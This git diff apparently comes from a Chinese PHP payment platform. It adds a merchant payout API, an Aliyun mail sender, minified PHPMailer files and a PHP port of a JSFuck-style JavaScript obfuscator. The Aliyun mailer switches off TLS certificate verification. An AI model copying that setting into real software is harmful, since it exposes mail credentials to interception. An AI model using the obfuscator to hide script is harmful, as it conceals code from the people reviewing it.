$desc, + ]; + $result = $satf->transfer($bookid, $type=='bank' ? 2 : 1, $params, $pid); + return $result; + } + + $result = \lib\Transfer::submit($type, $channel, $out_biz_no, $account, $name, $money, $desc); + $result['out_biz_no'] = $out_biz_no; + + if($result['code']==0){ + $paytime = $result['status'] == 1 ? 'NOW()' : null; + $data = ['biz_no'=>$out_biz_no, 'uid'=>$pid, 'type'=>$type, 'channel'=>$channelid, 'account'=>$account, 'username'=>$name, 'money'=>$money, 'costmoney'=>$need_money, 'addtime'=>'NOW()', 'paytime'=>$paytime, 'pay_order_no'=>$result['orderid'], 'status'=>$result['status'], 'desc'=>$desc]; + if(isset($result['wxpackage'])) $data['ext'] = $result['wxpackage']; + $id = $DB->insert('transfer', $data); + if($id!==false){ + changeUserMoney($pid, $need_money, false, '代付'); + } + if($result['status'] == 1){ + $result['msg']='转账成功!转账单据号:'.$result['orderid'].' 支付时间:'.$result['paydate']; + }elseif(isset($result['wxpackage'])){ + $jumpurl = $siteurl.'paypage/wxtrans.php?type=transfer&id='.$id; + $result='提交成功!请在微信打开 '.$jumpurl.' 确认收款。转账单据号:'.$result['orderid'].' 支付时间:'.$result['paydate']; + $result['jumpurl'] = $jumpurl; + }else{ + $result['msg']='提交成功!转账处理中。转账单据号:'.$result['orderid'].' 支付时间:'.$result['paydate']; + } + $result['cost_money'] = $need_money; + } + return $result; + } + + public static function query(){ + global $conf, $DB, $userrow, $queryArr; + + $pid=intval($queryArr['pid']); + $groupconfig = getGroupConfig($userrow['gid']); + $conf = array_merge($conf, $groupconfig); + if(!$conf['user_transfer']) throw new Exception('管理员未开启代付功能'); + if($userrow['transfer'] == 0) throw new Exception('商户未开启代付API接口'); + + $out_biz_no = trim($queryArr['out_biz_no']); + if(empty($out_biz_no)) throw new Exception('转账交易号(out_biz_no)不能为空'); + + $order = $DB->find('transfer', '*', ['biz_no'=>$out_biz_no, 'uid'=>$pid]); + if(!$order) throw new Exception('当前转账订单不存在'); + + if($order['status'] == 1){ + $result = ['code'=>0, 'msg'=>'转账成功!', 'status'=>1, 'amount'=>$order['money'], 'cost_money'=>$order['costmoney'], 'paydate'=>$order['paytime'], 'remark'=>$order['desc']]; + }elseif($order['status'] == 2){ + $errmsg = ($order['result']?$order['result']:'原因未知'); + $result = ['code'=>0, 'msg'=>'转账失败:'.($order['result']?$order['result']:'原因未知'), 'status'=>2, 'amount'=>$order['money'], 'cost_money'=>$order['money'], 'paydate'=>$order['paytime'], 'remark'=>$order['desc'], 'errmsg'=>$errmsg]; + }else{ + $result = \lib\Transfer::status($out_biz_no); + $result['remark'] = $order['desc']; + $result['cost_money'] = $order['costmoney']; + } + + return $result; + } + + public static function proof(){ + global $conf, $DB, $userrow, $queryArr; + + $pid=intval($queryArr['pid']); + $groupconfig = getGroupConfig($userrow['gid']); + $conf = array_merge($conf, $groupconfig); + if(!$conf['user_transfer']) throw new Exception('管理员未开启代付功能'); + if($userrow['transfer'] == 0) throw new Exception('商户未开启代付API接口'); + + $out_biz_no = trim($queryArr['out_biz_no']); + if(empty($out_biz_no)) throw new Exception('转账交易号(out_biz_no)不能为空'); + + $order = $DB->find('transfer', '*', ['biz_no'=>$out_biz_no, 'uid'=>$pid]); + if(!$order) throw new Exception('当前转账订单不存在'); + + $result = \lib\Transfer::proof($out_biz_no); + + return $result; + } + + public static function balance(){ + global $conf, $DB, $userrow, $queryArr; + + $pid=intval($queryArr['pid']); + $groupconfig = getGroupConfig($userrow['gid']); + $conf = array_merge($conf, $groupconfig); + if(!$conf['user_transfer']) throw new Exception('管理员未开启代付功能'); + if($userrow['transfer'] == 0) throw new Exception('商户未开启代付API接口'); + + if($conf['settle_type']==1){ + $today=date("Y-m-d").' 00:00:00'; + $order_today=$DB->getColumn("SELECT SUM(realmoney) from pre_order where uid={$pid} and tid<>2 and status=1 and endtime>='$today'"); + if(!$order_today) $order_today = 0; + $enable_money=round($userrow['money']-$order_today,2); + if($enable_money<0)$enable_money=0; + }else{ + $enable_money=$userrow['money']; + } + if(!$conf['transfer_rate'])$conf['transfer_rate'] = $conf['settle_rate']; + + $result = ['code'=>0, 'available_money'=>strval($enable_money), 'transfer_rate'=>$conf['transfer_rate']]; + + return $result; + } +} \ No newline at end of file diff --git a/includes/lib/hieroglyphy.php b/includes/lib/hieroglyphy.php new file mode 100644 index 0000000..c663d6c --- /dev/null +++ b/includes/lib/hieroglyphy.php @@ -0,0 +1,171 @@ +precharacters(); + } + + private function precharacters(){ + $this->numbers = array( + "+[]", + "+!![]", + "!+[]+!![]", + "!+[]+!![]+!![]", + "!+[]+!![]+!![]+!![]", + "!+[]+!![]+!![]+!![]+!![]", + "!+[]+!![]+!![]+!![]+!![]+!![]", + "!+[]+!![]+!![]+!![]+!![]+!![]+!![]", + "!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]", + "!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]" + ); + + $this->characters = array( + "0" => "(" . $this->numbers[0] . "+[])", + "1" => "(" . $this->numbers[1] . "+[])", + "2" => "(" . $this->numbers[2] . "+[])", + "3" => "(" . $this->numbers[3] . "+[])", + "4" => "(" . $this->numbers[4] . "+[])", + "5" => "(" . $this->numbers[5] . "+[])", + "6" => "(" . $this->numbers[6] . "+[])", + "7" => "(" . $this->numbers[7] . "+[])", + "8" => "(" . $this->numbers[8] . "+[])", + "9" => "(" . $this->numbers[9] . "+[])" + ); + + $_object_Object = "[]+{}"; + $_NaN = "+{}+[]"; + $_true = "!![]+[]"; + $_false = "![]+[]"; + $_undefined = "[][[]]+[]"; + + $this->characters[" "] = "(" . $_object_Object . ")[" . $this->numbers[7] . "]"; + $this->characters["["] = "(" . $_object_Object . ")[" . $this->numbers[0] . "]"; + $this->characters["]"] = "(" . $_object_Object . ")[" . $this->characters[1] . "+" . $this->characters[4] . "]"; + $this->characters["a"] = "(" . $_NaN . ")[" . $this->numbers[1] . "]"; + $this->characters["b"] = "(" . $_object_Object . ")[" . $this->numbers[2] . "]"; + $this->characters["c"] = "(" . $_object_Object . ")[" . $this->numbers[5] . "]"; + $this->characters["d"] = "(" . $_undefined . ")[" . $this->numbers[2] . "]"; + $this->characters["e"] = "(" . $_undefined . ")[" . $this->numbers[3] . "]"; + $this->characters["f"] = "(" . $_false . ")[" . $this->numbers[0] . "]"; + $this->characters["i"] = "(" . $_undefined . ")[" . $this->numbers[5] . "]"; + $this->characters["j"] = "(" . $_object_Object . ")[" . $this->numbers[3] . "]"; + $this->characters["l"] = "(" . $_false . ")[" . $this->numbers[2] . "]"; + $this->characters["n"] = "(" . $_undefined . ")[" . $this->numbers[1] . "]"; + $this->characters["o"] = "(" . $_object_Object . ")[" . $this->numbers[1] . "]"; + $this->characters["r"] = "(" . $_true . ")[" . $this->numbers[1] . "]"; + $this->characters["s"] = "(" . $_false . ")[" . $this->numbers[3] . "]"; + $this->characters["t"] = "(" . $_true . ")[" . $this->numbers[0] . "]"; + $this->characters["u"] = "(" . $_undefined . ")[" . $this->numbers[0] ."]"; + $this->characters["N"] = "(" . $_NaN . ")[" . $this->numbers[0] . "]"; + $this->characters["O"] = "(" . $_object_Object . ")[" . $this->numbers[8] . "]"; + + $_Infinity = "+(" . $this->numbers[1] . "+" . $this->characters["e"] . "+" . $this->characters[1] . "+" . $this->characters[0] . "+" . $this->characters[0] . "+" . $this->characters[0] . ")+[]"; + + $this->characters["y"] = "(" . $_Infinity . ")[" . $this->numbers[7] . "]"; + $this->characters["I"] = "(" . $_Infinity . ")[" . $this->numbers[0] . "]"; + + $_1e100 = "+(" . $this->numbers[1] . "+" . $this->characters["e"] . "+" . $this->characters[1] . "+" . $this->characters[0] . "+" . $this->characters[0] . ")+[]"; + + $this->characters["+"] = "(" . $_1e100 . ")[" . $this->numbers[2] . "]"; + + $this->functionConstructor = "[][" . $this->hieroglyphyString("sort") . "][" . $this->hieroglyphyString("constructor") . "]"; + + //Below $this->characters need target http(s) pages + $locationString = "[]+" . $this->hieroglyphyScript("return location"); + $this->characters["h"] = "(" . $locationString . ")" . "[" . $this->numbers[0] . "]"; + $this->characters["p"] = "(" . $locationString . ")" . "[" . $this->numbers[3] . "]"; + $this->characters["/"] = "(" . $locationString . ")" . "[" . $this->numbers[6] . "]"; + + $this->unescape = $this->hieroglyphyScript("return unescape"); + $escape = $this->hieroglyphyScript("return escape"); + + $this->characters["%"] = $escape . "(" . $this->hieroglyphyString("[") . ")[" . $this->numbers[0] . "]"; + } + + private function getHexaString ($number, $digits) { + $string = bin2hex($number); + + while (strlen($string) < $digits) { + $string = "0" . $string; + } + + return $string; + } + + private function getUnescapeSequence ($charCode) { + return $this->unescape . "(" . + $this->hieroglyphyString("%" . $this->getHexaString($charCode, 2)) . ")"; + } + + private function getHexaSequence ($charCode) { + return $this->hieroglyphyString("\\x" . $this->getHexaString($charCode, 2)); + } + + private function getUnicodeSequence ($charCode) { + return $this->hieroglyphyString("\\u" . $this->getHexaString($charCode, 4)); + } + + private function hieroglyphyCharacter ($char) { + $charCode = ord($char); + + if (isset($this->characters[$char])) { + return $this->characters[$char]; + } + + if (($char == "\\") || ($char == "x")) { + //These chars must be handled appart becuase the others need them + $this->characters[$char] = $this->getUnescapeSequence($charCode); + return $this->characters[$char]; + } + + $shortestSequence = $this->getUnicodeSequence($charCode); + + //ASCII $characters can be obtained with hexa and unscape sequences + if ($charCode < 128) { + $unescapeSequence = $this->getUnescapeSequence($charCode); + if (strlen($shortestSequence) > strlen($unescapeSequence)) { + $shortestSequence = $unescapeSequence; + } + + $hexaSequence = $this->getHexaSequence($charCode); + if (strlen($shortestSequence) > strlen($hexaSequence)) { + $shortestSequence = $hexaSequence; + } + } + + $this->characters[$char] = $shortestSequence; + return $shortestSequence; + } + + public function hieroglyphyString ($str) { + $hieroglyphiedStr = ""; + + for ($i = 0; $i < strlen($str); $i++) { + + $hieroglyphiedStr .= ($i > 0) ? "+" : ""; + $hieroglyphiedStr .= $this->hieroglyphyCharacter($str[$i]); + } + + return $hieroglyphiedStr; + } + + public function hieroglyphyNumber ($n) { + $n = +$n; + + if ($n <= 9) { + return $this->numbers[$n]; + } + + return "+(" . $this->hieroglyphyString(ord($n[10])) . ")"; + } + + public function hieroglyphyScript ($src) { + return $this->functionConstructor . "(" . $this->hieroglyphyString($src) . ")()"; + } +} \ No newline at end of file diff --git a/includes/lib/mail/Aliyun.php b/includes/lib/mail/Aliyun.php new file mode 100644 index 0000000..12f1f3a --- /dev/null +++ b/includes/lib/mail/Aliyun.php @@ -0,0 +1,73 @@ +AccessKeyId = $AccessKeyId; + $this->AccessKeySecret = $AccessKeySecret; + } + private function aliyunSignature($parameters, $accessKeySecret, $method) + { + ksort($parameters); + $canonicalizedQueryString = ''; + foreach ($parameters as $key => $value) { + if($value === null) continue; + $canonicalizedQueryString .= '&' . $this->percentEncode($key) . '=' . $this->percentEncode($value); + } + $stringToSign = $method . '&%2F&' . $this->percentencode(substr($canonicalizedQueryString, 1)); + $signature = base64_encode(hash_hmac("sha1", $stringToSign, $accessKeySecret . "&", true)); + + return $signature; + } + private function percentEncode($str) + { + $search = ['+', '*', '%7E']; + $replace = ['%20', '%2A', '~']; + return str_replace($search, $replace, urlencode($str)); + } + public function send($to, $sub, $msg, $from, $from_name) + { + if (empty($this->AccessKeyId) || empty($this->AccessKeySecret)) return false; + $url = 'https://dm.aliyuncs.com/'; + $data = array( + 'Action' => 'SingleSendMail', + 'AccountName' => $from, + 'ReplyToAddress' => 'false', + 'AddressType' => 1, + 'ToAddress' => $to, + 'FromAlias' => $from_name, + 'Subject' => $sub, + 'HtmlBody' => $msg, + 'Format' => 'JSON', + 'Version' => '2015-11-23', + 'AccessKeyId' => $this->AccessKeyId, + 'SignatureMethod' => 'HMAC-SHA1', + 'Timestamp' => gmdate('Y-m-d\TH:i:s\Z'), + 'SignatureVersion' => '1.0', + 'SignatureNonce' => random(8) + ); + $data['Signature'] = $this->aliyunSignature($data, $this->AccessKeySecret, 'POST'); + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); + $json = curl_exec($ch); + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + curl_close($ch); + $arr = json_decode($json, true); + if ($httpCode == 200) { + return true; + } else { + return $arr['Message']; + } + } +} diff --git a/includes/lib/mail/PHPMailer/Exception.php b/includes/lib/mail/PHPMailer/Exception.php new file mode 100644 index 0000000..9dfeabb --- /dev/null +++ b/includes/lib/mail/PHPMailer/Exception.php @@ -0,0 +1,2 @@ +' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "
    \n"; } } \ No newline at end of file diff --git a/includes/lib/mail/PHPMailer/PHPMailer.php b/includes/lib/mail/PHPMailer/PHPMailer.php new file mode 100644 index 0000000..6b4d2cc --- /dev/null +++ b/includes/lib/mail/PHPMailer/PHPMailer.php @@ -0,0 +1,2 @@ +exceptions = (bool) $exceptions; } $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { if ((int)ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } $this->edebug('Sending with mail()'); $this->edebug('Sendmail path: ' . ini_get('sendmail_path')); $this->edebug("Envelope sender: {$this->Sender}"); $this->edebug("To: {$to}"); $this->edebug("Subject: {$subject}"); $this->edebug("Headers: {$header}"); if (!$this->UseSendmailOptions || null === $params) { $result = @mail($to, $subject, $body, $header); } else { $this->edebug("Additional params: {$params}"); $result = @mail($to, $subject, $body, $header, $params); } $this->edebug('Result: ' . ($result ? 'true' : 'false')); return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug(rtrim($str, "\r\n")); return; } if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': error_log($str); break; case 'html': echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8'), "
    \n"; break; case 'echo': default: $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", trim(str_replace("\n", "\n \t ", trim($str))), "\n"; } } public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } public function isSMTP() { $this->Mailer = 'smtp'; } public function isMail() { $this->Mailer = 'mail'; } public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { $pos = false; if ($address !== null) { $address = trim($address); $pos = strrpos($address, '@'); } if (false === $pos) { $error_message = sprintf('%s (%s): %s', $this->lang('invalid_address'), $kind, $address); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ($name !== null && is_string($name)) { $name = trim(preg_replace('/[\r\n]+/', '', $name)); } else { $name = ''; } $params = [$kind, $address, $name]; if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) { if ('Reply-To' !== $kind) { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } elseif (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } return false; } return call_user_func_array([$this, 'addAnAddress'], $params); } public function setBoundaries() { $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1=_' . $this->uniqueid; $this->boundary[2] = 'b2=_' . $this->uniqueid; $this->boundary[3] = 'b3=_' . $this->uniqueid; } protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { $error_message = sprintf('%s: %s', $this->lang('Invalid recipient kind'), $kind); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if (!static::validateAddress($address)) { $error_message = sprintf('%s (%s): %s', $this->lang('invalid_address'), $kind, $address); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ('Reply-To' !== $kind) { if (!array_key_exists(strtolower($address), $this->all_recipients)) { $this->{$kind}[] = [$address, $name]; $this->all_recipients[strtolower($address)] = true; return true; } } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = [$address, $name]; return true; } return false; } public static function parseAddresses($addrstr, $useimap = true, $charset = self::CHARSET_ISO88591) { $addresses = []; if ($useimap && function_exists('imap_rfc822_parse_adrlist')) { $list = imap_rfc822_parse_adrlist($addrstr, ''); imap_errors(); foreach ($list as $address) { if ('.SYNTAX-ERROR.' !== $address->host && static::validateAddress($address->mailbox . '@' . $address->host)) { if (property_exists($address, 'personal') && defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $address->personal)) { $origCharset = mb_internal_encoding(); mb_internal_encoding($charset); $address->personal = str_replace('_', '=20', $address->personal); $address->personal = mb_decode_mimeheader($address->personal); mb_internal_encoding($origCharset); } $addresses[] = ['name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host,]; } } } else { $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, '<') === false) { if (static::validateAddress($address)) { $addresses[] = ['name' => '', 'address' => $address,]; } } else { list($name, $email) = explode('<', $address); $email = trim(str_replace('>', '', $email)); $name = trim($name); if (static::validateAddress($email)) { if (defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $name)) { $origCharset = mb_internal_encoding(); mb_internal_encoding($charset); $name = str_replace('_', '=20', $name); $name = mb_decode_mimeheader($name); mb_internal_encoding($origCharset); } $addresses[] = ['name' => trim($name, '\'" '), 'address' => $email,]; } } } } return $addresses; } public function setFrom($address, $name = '', $auto = true) { $address = trim((string)$address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); $pos = strrpos($address, '@'); if ((false === $pos) || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported()) && !static::validateAddress($address))) { $error_message = sprintf('%s (From): %s', $this->lang('invalid_address'), $address); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto && empty($this->Sender)) { $this->Sender = $address; } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } if (is_callable($patternselect) && !is_string($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': case 'pcre8': return (bool) preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address); case 'html5': return (bool) preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address); case 'php': default: return filter_var($address, FILTER_VALIDATE_EMAIL) !== false; } } public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } public function punyencodeAddress($address) { $pos = strrpos($address, '@'); if (!empty($this->CharSet) && false !== $pos && static::idnSupported()) { $domain = substr($address, ++$pos); if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet); $errorcode = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { $punycode = idn_to_ascii($domain, \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI | \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46); } elseif (defined('INTL_IDNA_VARIANT_2003')) { $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003); } else { $punycode = idn_to_ascii($domain, $errorcode); } if (false !== $punycode) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { if ('smtp' === $this->Mailer || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0))) { static::setLE(self::CRLF); } else { static::setLE(PHP_EOL); } if ('mail' === $this->Mailer && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0) { trigger_error($this->lang('buggy_php'), E_USER_WARNING); } try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array([$this, 'addAnAddress'], $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL); } foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { if ($this->{$address_kind} === null) { $this->{$address_kind} = ''; continue; } $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!static::validateAddress($this->{$address_kind})) { $error_message = sprintf('%s (%s): %s', $this->lang('invalid_address'), $address_kind, $this->{$address_kind}); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } } if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } $this->Subject = trim($this->Subject); $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } if (!empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private)))) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; } return true; } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . 'Send'; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) { $this->smtp->reset(); } if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if ($this->Mailer === 'qmail') { $this->edebug('Sending with qmail'); } else { $this->edebug('Sending with sendmail'); } $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { if ($this->Mailer === 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } else { $sendmailFmt = '%s -oi -t'; } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); $this->edebug('Sendmail path: ' . $this->Sendmail); $this->edebug('Sendmail command: ' . $sendmail); $this->edebug('Envelope sender: ' . $this->Sender); $this->edebug("Headers: {$header}"); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } $this->edebug("To: {$toAddr}"); fwrite($mail, 'To: ' . $toAddr . "\n"); fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet); $this->doCallback(($result === 0), [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $this->doCallback(($result === 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function isShellSafe($string) { if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) { return false; } if (escapeshellcmd($string) !== $string || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""])) { return false; } $length = strlen($string); for ($i = 0; $i < $length; ++$i) { $c = $string[$i]; if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } protected static function isPermittedPath($path) { return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path); } protected static function fileIsAccessible($path) { if (!static::isPermittedPath($path)) { return false; } $readable = is_file($path); if (strpos($path, '\\\\') !== 0) { $readable = $readable && is_readable($path); } return $readable; } protected function mailSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $toArr = []; foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = trim(implode(', ', $toArr)); if ($to === '') { $to = 'undisclosed-recipients:;'; } $params = null; $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = 